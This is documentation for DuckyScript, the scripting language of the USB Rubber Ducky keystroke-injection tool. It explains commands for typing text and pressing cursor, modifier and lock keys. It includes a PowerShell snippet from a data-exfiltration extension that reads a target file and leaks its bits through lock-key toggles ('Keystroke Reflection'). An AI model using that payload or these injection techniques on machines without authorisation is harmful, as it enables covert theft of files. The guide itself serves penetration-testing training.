Keystroke Injection

As we've seen from the Hello, World! example in the previous section, the STRING command denotes keystrokes for injection. The STRING command accepts one or more alphanumeric, punctuation, and SPACE characters. As you will soon see, cursor keys, system keys, modifier keys and lock keys may also be injected but without the use of the STRING command. Keys may even be held and pressed in combination.

Character Keys: Alphanumeric

Each new line containing a number will type the corresponding character.

The following alphanumeric keys are available:

0 1 2 3 4 5 6 7 8 9

a b c d e f g h i j k l m n o p q r s t u v w x y z

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Example

REM Example Alphanumeric Keystroke Injection
ATTACKMODE HID STORAGE
DELAY 2000
STRING abc123XYZ

Result

• The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.

• After a 2 second pause, the "keyboard" (the USB Rubber Ducky in HID mode) will type "abc123XYZ".

All letter keys on a keyboard are lowercase. In the case of injecting the upper case letters in this example, the USB Rubber Ducky is automatically holding the SHIFT modifier for each character.

Character Keys: Punctuation

Similar to the alphanumeric keys, each new line containing a punctuation key will type the corresponding character.

The following punctuation keys are available:

` ~ ! @ # $ % ^ & * ( ) - _ = + [ ] { } ; : ' " , . < > / ?

Example

REM Example Numeric and Punctuation Keystroke Injection
ATTACKMODE HID STORAGE
DELAY 2000
STRING 1+1=2

Result

• The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.

• After a 2 second pause, the "keyboard" (the USB Rubber Ducky in HID mode) will type "1+1=2".

STRING

The STRING command will automatically interpret uppercase letters by holding the SHIFT modifier key where necessary. It will also automatically press the SPACE cursor key (more on that shortly), however trailing spaces will be omitted.

Example using STRING

Even for single character injections, using STRING is recommended.

REM Example Keystroke Injection without STRING
ATTACKMODE HID STORAGE
DELAY 2000
STRING H
STRING ello, World!

Result

• In both examples, the "Hello, World!" text is typed.

Example without STRING

While DuckyScript Classic supported injecting keystrokes without the use of the STRING command, each on their own line, this practice is deprecated and no longer recommended.

While you may see this used in older payloads it is no longer recommended to use.

REM Example Keystroke Injection without STRING
ATTACKMODE HID STORAGE
DELAY 2000
H
e
l
l
o
,
SPACE
W
o
r
l
d
!

STRINGLN

The STRING command does not terminate with a carriage return. That means at the end of the STRING command, a new line is not created.

As an example, imagine injecting commands into a terminal. If the two STRING commands "STRING cd" and "STRING ls" were run one after another, the result would be "cdls" on the same line.

Example

STRING cd
STRING ls

Result

If you intended each command to run separately, the system key ENTER (covered shortly) would need to be run after each STRING command.

STRING cd
ENTER
STRING ls
ENTER

Alternatively, the STRINGLN command may be used. This command automatically terminates with a carriage return — meaning that ENTER is pressed after the sequence of keys.

Using STRINGLN in the example above would result in both the cd (change directory) command and ls (list files and directories) being executed.

Example

STRINGLN cd
STRINGLN ls

Result

STRING & STRINGLN Blocks

STRING Blocks

STRING blocks can be used effectively to convert multiple lines into one without needing to prepend each line with STRING

STRING blocks strip leading white space and ignore new lines!

Simple STRING block example

STRING
    a
    b
    c
END_STRING

is the equivalent of

STRING a
STRING b
STRING c

Or in this case: STRING abc

Result

Deploying this payload will produce the following keystroke injection on the target machine:

abc

STRING block usecase Example

Good payloads will optimize the number of keystrokes that need to be injected to achieve their result as fast as possible. The result? Hard to read code that is reduced to a single line. Below we have an example usage of STRING from our WINDOWS_HID_EXFIL Extension demonstrating the Keystroke Reflection attack. For this example its not important that we understand the PowerShell code that is getting injected - Its simply being used to demonstrate how cumbersome it is to digest a monolithic one-liner.

The magic of STRING blocks is that the two snippets below produce the exact same result. The block format one is much easier to read and edit.

STRING foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit;

STRING
    foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){
        foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){
            If($b -band $a){
                $o+="%{NUMLOCK}"
            }Else{
                $o+="%{CAPSLOCK}"
            }
        }
    };
    $o+="%{SCROLLLOCK}";
    Add-Type -Assembly System.Windows.Forms;
    [System.Windows.Forms.SendKeys]::SendWait("$o");
    exit;
END_STRING

Result

Deploying this payload will produce the following keystroke injection on the target machine:

foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit;

This is due to the fact that STRING blocks strip leading white space, as well as ignore new lines.

STRINGLN Blocks

Simple STRINGLN block example

STRINGLN blocks can be used like here-doc; allowing you to inject multiple lines as they are written in the payload.

STRINGLN blocks strip the first tab but will preserve all other formatting

STRINGLN
    a
    b
    c
END_STRINGLN

is the equivalent of

STRINGLN a
STRINGLN b
STRINGLN c

Result

Deploying this payload will produce the following keystroke injection on the target machine:

a
b
c

STRINGLN block usecase example

Unlike STRING blocks, STRINGLN blocks will effectively inject code as its written (minus the first tab for formatting)

STRINGLN
    foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){
        foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){
            If($b -band $a){
                $o+="%{NUMLOCK}"
            }Else{
                $o+="%{CAPSLOCK}"
            }
        }
    };
    $o+="%{SCROLLLOCK}";
    Add-Type -Assembly System.Windows.Forms;
    [System.Windows.Forms.SendKeys]::SendWait("$o");
    exit;
END_STRING

Result

Deploying this payload will produce the following keystroke injection on the target machine:

foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){
    foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){
        If($b -band $a){
            $o+="%{NUMLOCK}"
        }Else{
            $o+="%{CAPSLOCK}"
        }
    }
};
$o+="%{SCROLLLOCK}";
Add-Type -Assembly System.Windows.Forms;
[System.Windows.Forms.SendKeys]::SendWait("$o");
exit;

Embedded Language Blocks

• STRING_POWERSHELL or STRINGLN_POWERSHELL

• STRING_BATCH or STRINGLN_BATCH

• STRING_BASH or STRINGLN_BASH

• STRING_JAVASCRIPT or STRINGLN_JAVASCRIPT

• STRING_PYTHON or STRINGLN_PYTHON

• STRING_RUBY or STRINGLN_RUBY

• STRING_HTML or STRINGLN_HTML

These variations work just likeSTRING or STRINGLN blocks with the added benefit of adding auto-complete and syntax highlighting specific to the language described by the command when using PayloadStudio Pro Edition

Example

STRING_POWERSHELL Example

This syntax will work with PayloadStudio Community edition; only syntax highlighting and auto-complete feature additions are limited to the Pro edition.

Cursor Keys

As opposed to character keys, which type a letter, number or punctuation, the cursor keys are used to navigate the cursor to a different position on the screen.

Generally, in the context of a text area, the arrow keys will move the cursor UP, DOWN, LEFT or RIGHT of the current position. The HOME and END keys move the cursor to the beginning or end of a line. The PAGEUP and PAGEDOWN keys scroll vertically up or down a single page. The DELETE key will remove the character to the right of the cursor, while the BACKSPACE will remove the character to its left. The INSERT key is typically used to switch between typing mode. The TAB key will advance the cursor to the next tab stop, or may be used to navigate to the next user interface element. The SPACE key will insert a space character, or may be used to select a user interface element.

The following cursor keys are available:

UPARROW DOWNARROW LEFTARROW RIGHTARROW

PAGEUP PAGEDOWN HOME END

INSERT DELETE BACKSPACE

TAB

SPACE

The shorthand aliases UP, DOWN, LEFT, and RIGHT may be used in place of UPARROW, DOWNARROW, LEFTARROW, RIGHTARROW respectively.

Example

REM Example Keystroke Injection without Cursor Keys
ATTACKMODE HID STORAGE
DELAY 2000
STRING 456
BACKSPACE
BACKSPACE
BACKSPACE
STRING 123
HOME
STRING abc
END
STRING UVW
LEFTARROW
LEFTARROW
LEFTARROW
DELETE
DELETE
DELETE
STRING XYZ

Result

• The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.

• After a 2 second pause, the "keyboard" will type 456

• The BACKSPACE key will be pressed 3 times, removing 456

• The characters 123 will be typed

• The HOME key will move the cursor to the beginning of the line

• The characters abc will be typed

• The END key will move the cursor to the end of the line

• The characters UVW will be typed

• The LEFTARROW will be pressed 3 times, then the DELETE key will be pressed 3 times, removing UVW

• The characters XYZ will be typed

• The final result will be abc123XYZ

System Keys

These keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface.

The following system keys are available:

ENTER

ESCAPE

PAUSE BREAK

PRINTSCREEN

MENU APP

F1 F2 F3 F4 F5 F6 F7 F8 F9 F0 F11 F12

Basic Modifier Keys

Up until now only character, control and system keys have been discussed. These generally type a character, move the cursor, or perform a special action depending on the program or operating system of the target.

Modifier keys, on the other hand, are typically held in combination with another key to perform a special function. One simple example of this is holding the SHIFT key in combination with the letter a key. The result will be an uppercase letter A.

A slightly more complex example would be holding the ALT key along with the F4 key, which typically closes a program on the Windows operating system.

Common keyboard combinations for the PC include the familiar CTRL c for copy, CTRL x for cut, and CTRL v for paste. On macOS targets, these would be COMMAND c, COMMAND x and COMMAND v respectively.

The following basic modifier keys are available:

SHIFT

ALT

CONTROL CTRL

COMMAND

WINDOWS GUI

The shorthand aliases CTRL and GUI may be used in place of CONTROL and WINDOWS respectively.

Example: Windows

REM Example Modifier Key Combo Keystroke Injection for Windows
ATTACKMODE HID STORAGE
DELAY 2000
GUI r
DELAY 2000
BACKSPACE
STRING 123
DELAY 2000
CTRL a
CTRL c
CTRL v
CTRL v
DELAY 2000
ALT F4

Result

• This example targets Windows systems.

• The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.

• After a 2 second pause, the GUI r keyboard combination will be typed. This will open the Run dialog, a feature of Windows since 1995 that allows you to open a program, document or Internet resource by typing certain commands.

• After another 2 second pause, the BACKSPACE key will remove anything remaining in the text area from a previous session and the characters 123 will be typed.

• After yet another 2 second pause, the CTRL a keyboard combination will select all text in the text area.

• The keyboard shortcuts for copy and paste twice will be typed, resulting in 123123.

• After a final 2 second pause, the Windows keyboard combination ALT F4 will be typed, closing the Run dialog.

Example: macOS

REM Example Modifier Key Combo Keystroke Injection for macOS
ATTACKMODE HID STORAGE VID_05AC PID_021E
DELAY 2000
COMMAND SPACE
DELAY 2000
STRING 123
DELAY 2000
COMMAND a
COMMAND c
COMMAND v
COMMAND v
DELAY 2000
ESCAPE
ESCAPE

Result

• This example targets macOS systems.

• The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage. It is safe to ignore the advanced VID and PID parameters for ATTACKMODE now — they'll be covered later on.

• After a 2 second pause, and similarly to the Windows Run dialog example, the COMMAND SPACE keyboard combination will be typed. This will open Spotlight Search, a feature of macOS since OS X that allows you to open a program, document or Internet resource by typing certain commands.

• After another 2 second pause, the characters 123 will be typed.

• Similar to the previous example, after another 2 second pause the keyboard shortcuts for select all, copy, and paste twice will be typed — resulting in 123123.

• After a final 2 second pause, Spotlight Search is closed with two ESCAPE keys.

Key and Modifier Combos

In addition to the basic set of modifier keys, PayloadStudio will allow you to arbitrarily combine keys separated either by SPACE or - Some often used combinations may already be pre-defined in the language file:

CTRL-ALT

CTRL-SHIFT

ALT-SHIFT

COMMAND-CTRL

COMMAND-CTRL-SHIFT

COMMAND-OPTION

COMMAND-OPTION-SHIFT

Example

ATTACKMODE HID STORAGE
DELAY 2000
CTRL ALT DELETE

Result

• The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.

• After a 2 second pause, the infamous "three finger salute" key combination will be pressed. This may be necessary for login on many Windows systems.

Standalone Modifier Keys

Normally modifier keys are held in combination with another key. However they may also be pressed by themselves. While in many circumstances this will have no substantial effect on the target, for instance simply pressing SHIFT by itself, some keys can sometimes prove quite useful.

Since 1995, the WINDOWS (or more formally GUI, an alias for the WINDOWS key) key has opened the Start menu on Windows systems. One could technically navigate this menu by using the arrow keys and ENTER. For instance, pressing GUI, then UP, then ENTER would open the Run dialog on a Windows 95 system. However, as seen in previous examples, the keyboard shortcut GUI r would be a much faster and more effective method of opening the Run dialog.

Since Windows 7 the Start menu behavior has changed. Pressing WINDOWS or GUI on its own will highlight a search textarea — from which commands, documents and Internet resources may be entered similar to the Run dialog.

Similar functionality can now be found on ChromeOS and many Linux window managers.

To press a standalone modifier key in DuckyScript, it must be prefixed with the INJECT_MOD command.

Example

REM Example Standalone Modifier Key Keystroke Injection for Windows
ATTACKMODE HID STORAGE
DELAY 2000
INJECT_MOD WINDOWS
DELAY 2000
STRING calc
DELAY 2000
ENTER

Result

• This example targets Windows systems.

• The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.

• After a 2 second pause, the WINDOWS (or GUI) key is pressed. Note the INJECT_MOD command on the line above.

• After another 2 second pause, the letters calc will be typed.

• The Windows target will most likely select the Calculator app as the best match.

• After a final 2 second pause, ENTER will be pressed and the Calculator will likely open.

Lock Keys

These keys specify a distinct mode of operation and are significant due to the bi-directional nature of the lock state. This nuance will come in handy for more advanced payloads — but for now suffice it to say that the three standard lock keys can be pressed just like any ordinary key.

The following lock keys are available:

CAPSLOCK

NUMLOCK

SCROLLLOCK

Example

ATTACKMODE HID STORAGE
DELAY 2000
CAPSLOCK
STRING abc123XYZ

Result

• The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.

• After a 2 second pause, the CAPSLOCK key will be pressed — thus toggling the capslock state.

• If capslock were off before running this payload, the characters ABC123xyz will be typed.

• Notice how the capitalization of the keys typed are reversed when Capslock is enabled.

• Keep in mind that uppercase letters, standalone or in a STRING statement, automatically hold SHIFT.

It is important to note that pressing the CAPSLOCK key in this example toggles the lock state. This is because the lock state is maintained by the operating system, not the keyboard. In most cases, when the key is pressed the operating system will report back to the keyboard information that indicates whether or not to light the caps lock LED on the keyboard itself.

• How will the results of the above payload change if caps lock were enabled on the target before the USB Rubber Ducky payload were run?

The USB Rubber Ducky, in many cases, can determine the lock state of the target. As you will soon learn, using this information along with DuckyScript 3.0 logic, a more robust payload can be constructed which will only press the CAPSLOCK key if the lock state were not already enabled.